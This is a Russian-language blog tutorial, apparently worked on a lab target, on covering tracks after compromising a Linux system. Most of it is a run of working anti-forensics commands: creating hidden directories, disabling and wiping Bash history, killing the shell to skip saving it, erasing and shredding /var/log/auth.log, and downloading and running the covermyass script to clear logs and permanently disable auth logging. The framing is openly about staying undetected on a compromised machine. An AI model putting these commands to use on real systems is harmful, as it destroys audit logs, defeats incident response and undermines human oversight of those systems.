Как заметать следы на системах Linux

Как заметать следы на системах Linux

Чтобы показать вам основы заметания следов, мы сначала скомпрометируем цель, а затем рассмотрим некоторые методы, используемые для удаления истории Bash, очистки журналов и сохранения скрытности после использования системы Linux. В этой статье мы рассмотрим как заметать следы на системах Linux.

Компрометация цели

Первое, что нам нужно сделать, это использовать цель. Мы можем использовать внедрение команд, чтобы злоупотреблять тем, как сервер обрабатывает команды ОС для получения оболочки. Мы также хотим обновить нашу новую оболочку до полностью интерактивной. Это облегчит работу в целом, а также позволит нам использовать завершение табуляции и историю терминала.

После этого мы можем повысить наши привилегии до root, чтобы мы могли лучше использовать преимущества системы, чтобы оставаться незамеченными.

Создание легко удаляемого скрытого каталога

Получив root-доступ, мы можем создать скрытый каталог для работы и хранения любых скриптов или файлов. Это не обманет никого, кроме самого начинающего администратора, но еще один уровень конфиденциальности, безусловно, не помешает. Во-первых, давайте найдем любые доступные для записи каталоги с помощью следующей команды:

root@target:/# find / -perm -222 -type d 2>/dev/null

/dev/shm
/var/lock
/var/lib/php5
/var/tmp
/var/www/dav
/var/www/twiki/data/Sandbox
/var/www/twiki/data/Main
/var/www/twiki/data/Know
/var/www/twiki/data/TWiki
/var/www/twiki/data/_default
/var/www/twiki/data/Trash
/var/www/twiki/pub/Sandbox
/var/www/twiki/pub/Main
/var/www/twiki/pub/Know
/var/www/twiki/pub/Know/IncorrectDllVersionW32PTH10DLL
/var/www/twiki/pub/TWiki
/var/www/twiki/pub/TWiki/TWikiDocGraphics
/var/www/twiki/pub/TWiki/TWikiTemplates
/var/www/twiki/pub/TWiki/TWikiLogos
/var/www/twiki/pub/TWiki/PreviewBackground
/var/www/twiki/pub/TWiki/FileAttachment
/var/www/twiki/pub/TWiki/WabiSabi
/var/www/twiki/pub/Trash
/var/www/twiki/pub/icn
/tmp
/tmp/.ICE-unix
/tmp/.X11-unix

Мы можем создать скрытый каталог с помощью команды mkdir и поставив перед именем точку:

root@target:/# mkdir /dev/shm/.secret

Если мы сейчас перечислим содержимое /dev/shm, ничего не появится:

root@target:/# ls -l /dev/shm/

Только когда мы используем переключатель -a для вывода списка всех файлов и каталогов, он появляется:

root@target:/# ls -la /dev/shm/

total 0
drwxrwxrwt  3 root root    60 2019-06-19 13:49 .
drwxr-xr-x 13 root root 13480 2019-06-19 13:41 ..
drwxr-xr-x  2 root root    40 2019-06-19 13:49 .secret

И чтобы удалить каталог после того, как мы закончим работу с машиной, используйте команду rmdir:

root@target:/# rmdir /dev/shm/.secret/

Удаление истории Bash

Bash хранит список команд, используемых в текущем сеансе, в памяти, поэтому важно очистить его, чтобы замести следы. Мы можем просмотреть текущую историю с помощью команды history:

root@target:/# history

    1  cd /
    2  ls
    3  find / -perm -222 -type d 2>/dev/null
    4  cd /dev/shm/
    5  cd /
    6  mkdir /dev/shm/.secret
    7  ls -l /dev/shm/
    8  ls -la /dev/shm/
    9  ls
   10  rmdir /dev/shm/.secret/
   11  history

Команды записываются в переменную среды HISTFILE, обычно это .bash_history. Мы можем повторить это, чтобы увидеть местоположение:

root@target:/# echo $HISTFILE

/root/.bash_history

Мы можем использовать команду unset для удаления переменной:

root@target:/# unset HISTFILE

Поэтому, когда мы повторяем это снова, ничего не появляется:

root@target:/# echo $HISTFILE

Мы также можем убедиться, что история команд не сохраняется, отправив ее в /dev/null. Установите для него переменную:

root@target:/# HISTFILE=/dev/null

Или сделайте то же самое с командой экспорта:

root@target:/# export HISTFILE=/dev/null

И история теперь будет отправляться в /dev/null (никуда):

root@target:/# echo $HISTFILE

/dev/null

Мы можем установить количество команд, которые будут храниться во время текущего сеанса, равным 0, используя переменную HISTSIZE:

root@target:/# HISTSIZE=0

В качестве альтернативы используйте команду экспорта:

root@target:/# export HISTSIZE=0

Мы также можем изменить допустимое количество строк в файле истории, используя переменную HISTFILESIZE. Установите это значение на 0:

root@target:/# HISTFILESIZE=0

Или с экспортом:

root@target:/# export HISTFILESIZE=0

Команду set также можно использовать для изменения параметров оболочки. Чтобы отключить опцию истории, используйте следующую команду:

root@target:/# set +o history

И чтобы включить его снова:

root@target:/# set -o history

Точно так же команду shopt можно использовать для изменения параметров оболочки. Чтобы отключить историю, используйте следующую команду:

root@target:/# shopt -ou history

И чтобы включить его снова:

root@target:/# shopt -os history

При запуске команд в целевой системе мы иногда можем избежать их сохранения в истории, начав команду с начального пробела:

root@target:~#  cat /etc/passwd

Этот метод не работает все время и зависит от системы. Мы также можем просто очистить историю с помощью ключа -c:

root@target:~# history -c

Чтобы убедиться, что изменения записаны на диск, используйте ключ -w:

root@target:~# history -w

Это очистит историю только для текущего сеанса. Чтобы полностью убедиться, что история очищается при выходе из сеанса, пригодится следующая команда:

root@target:/# cat /dev/null > ~/.bash_history && history -c && exit

Мы также можем использовать команду kill для выхода из сеанса без сохранения истории:

root@target:/# kill -9 $$

Очистка файлов журнала

В дополнение к истории Bash файлы журналов также необходимо стереть, чтобы они оставались незамеченными. Вот некоторые распространенные файлы журналов и их содержимое:

    • /var/log/auth.log Authentication
    • /var/log/cron.log Cron Jobs
    • /var/log/maillog Mail
    • /var/log/httpd Apache

Конечно, мы можем просто удалить журнал с помощью команды rm:

root@target:/# rm /var/log/auth.log

Но это, скорее всего, вызовет тревогу, поэтому лучше очистить файл, а не стирать его полностью. Мы можем использовать команду truncate, чтобы уменьшить размер до 0:

root@target:/# truncate -s 0 /var/log/auth.log

Обратите внимание, усечение не всегда присутствует во всех системах.

Мы можем сделать то же самое, ничего не выводя в файл:

root@target:/# echo '' > /var/log/auth.log

А также с помощью >, чтобы очистить файл:

root@target:/# > /var/log/auth.log

Мы также можем отправить его в /dev/null:

root@target:/# cat /dev/null > /var/log/auth.log

Или используйте команду tee:

root@target:/# true | tee /var/log/auth.log

Мы также можем использовать команду dd,чтобы ничего не записывать в файл журнала:

root@target:/# dd if=/dev/null of=/var/log/auth.log

0+0 records in
0+0 records out
0 bytes (0 B) copied, 6.1494e-05 s, 0.0 kB/s

Команду shred можно использовать для перезаписи файла бессмысленными двоичными данными:

root@target:/# shred /var/log/auth.log

Мы даже можем добавить -zu, чтобы обрезать файл и перезаписать его нулями, чтобы скрыть следы уничтожения:

root@target:/# shred -zu /var/log/auth.log

Инструменты для проверки очистки

Чтобы увеличить вероятность того, что любая активность на цели останется незамеченной, мы можем использовать инструмент, который гарантирует, что все будет стерто. Covermyass — это скрипт, который автоматизирует большую часть процессов, которые мы уже рассмотрели, включая очистку файлов журнала и отключение истории Bash.

Мы можем получить скрипт с GitHub с помощью wget (при условии, что у нас есть доступ к Интернету на цели, в противном случае его придется передавать вручную):

root@target:/# wget https://raw.githubusercontent.com/sundowndev/covermyass/master/covermyass

Перейдите в каталог, доступный для записи, и используйте chmod, чтобы сделать его исполняемым:

root@target:/tmp# chmod +x covermyass

Затем мы можем запустить его:

root@target:/tmp# ./covermyass

Welcome to Cover my ass tool !

Select an option :

1) Clear logs for user root
2) Permenently disable auth & bash history
3) Restore settings to default
99) Exit tool

>

Нам дается пользовательское приглашение с несколькими вариантами на выбор. Давайте выберем первый, чтобы очистить журналы:

> 1

[+] /var/log/messages cleaned.
[+] /var/log/auth.log cleaned.
[+] /var/log/kern.log cleaned.
[+] /var/log/wtmp cleaned.
[+] ~/.bash_history cleaned.
[+] History file deleted.

Reminder: your need to reload the session to see effects.
Type exit to do so.

Мы также можем отключить Bash и историю авторизации с помощью опции 2:

> 2

[+] Permanently sending /var/log/auth.log to /dev/null
[+] Permanently sending bash_history to /dev/null
[+] Set HISTFILESIZE & HISTSIZE to 0
[+] Disabled history library

Permenently disabled bash log.

 

А если вам нужно срочно все очистить, просто добавьте сейчас к команде:

root@target:/tmp# ./covermyass now

[+] /var/log/messages cleaned.
[+] /var/log/kern.log cleaned.
[+] /var/log/wtmp cleaned.
[+] ~/.bash_history cleaned.
[+] History file deleted.

Reminder: your need to reload the session to see effects.
Type exit to do so.

Заключение

Сегодня мы изучили различные методы, используемые для заметания следов и оставления незамеченными на скомпрометированной машине. Мы рассмотрели способы отключения и удаления истории Bash, методы очистки файлов журналов и использовали инструмент Covermyass, чтобы убедиться, что наша активность на цели была стерта. Существуют и другие способы устранения определенных следов атаки, например, использование Metasploit, использование сценариев оболочки или выполнение этого на взломанном компьютере с Windows, но вышеперечисленное должно быть всем, что вам нужно для базового компьютера с Linux.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Click to rate this post!
[Total: 2 Average: 3]

Leave a reply:

Your email address will not be published.